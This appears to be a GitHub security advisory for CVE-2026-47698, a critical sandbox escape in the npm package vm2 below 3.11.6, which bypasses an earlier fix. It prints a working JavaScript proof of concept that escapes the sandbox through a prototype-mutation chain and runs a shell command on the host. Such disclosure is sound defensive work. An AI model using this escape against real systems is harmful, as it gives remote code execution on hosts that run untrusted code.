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GHSA-cfcw-xp6x-25gj vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

CRITICAL Published 2026-08-17 Modified 2026-08-17 Official page ↗
Aliases
CVE-2026-47698
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-913
Reviewed
2026-08-17

Affected packages

• npm vm2: < 3.11.6 → fixed in 3.11.6

Description

Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Related

Alias · CVE (1)

  • CVE-2026-47698 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-913 Improper Control of Dynamically-Managed Code Resources weakness

References